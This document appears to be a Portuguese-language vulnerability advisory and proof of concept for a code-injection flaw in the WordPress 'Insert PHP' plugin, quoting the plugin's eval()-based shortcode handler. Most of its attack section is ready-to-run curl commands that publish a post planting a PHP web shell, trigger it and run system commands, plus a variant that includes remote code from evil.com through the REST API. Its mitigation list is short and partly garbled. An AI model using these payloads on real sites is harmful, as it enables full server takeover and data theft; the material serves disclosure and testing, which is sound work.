Inserir Injeção de Código PHP em Plugin PHP
| Campo | Valor |
|---|
| ID do CVE | CVE-2017-20251 |
| Plugin | Insert PHP (agora Woody Code Snippets) |
| Versões Afetadas | < 3.3.1 (testado na 1.3) |
| CWE | CWE-94 (Injeção de Código) |
| CVSS v3.1 | 9.8 (Crítico) |
| Vetor CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Divulgação | Pública (Exploit-DB 41308) |
O plugin Insert PHP anterior à versão 3.3.1 permite que atacantes remotos executem código PHP arbitrário por meio de uma vulnerabilidade de injeção via shortcode. O plugin registra um shortcode [insert_php]...[/insert_php] que avalia diretamente o conteúdo dentro das tags do shortcode usando a função eval() do PHP, sem qualquer sanitização ou validação.
Um atacante que consiga criar ou modificar posts (via REST API, XML-RPC ou com acesso de colaborador/administrador) pode injetar código PHP arbitrário em qualquer página ou post que renderize seu conteúdo, alcançando execução remota de código completa no servidor web.
A vulnerabilidade existe na função will_bontrager_insert_php() registrada como um filtro de the_content:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNERABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
Principais Problemas:
eval() sem qualquer sanitização[insert_php]the_contenteval() executa código PHP arbitrário no servidorGravidade: Crítica
Execução Remota de Código (RCE) completa no servidor web:
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
Para versões antigas do WordPress em que a REST API permitia criação de posts sem autenticação:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
Quando o shortcode vulnerável é processado, o código PHP interno é executado por eval(). Para o teste do arquivo marcador:
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully
Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server
Verification:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML (embora isso não mitigue completamente o problema)A versão corrigida (3.3.1+):
[insert_php] para [wbcr_php_snippet]eval() em favor de um contexto de execução seguro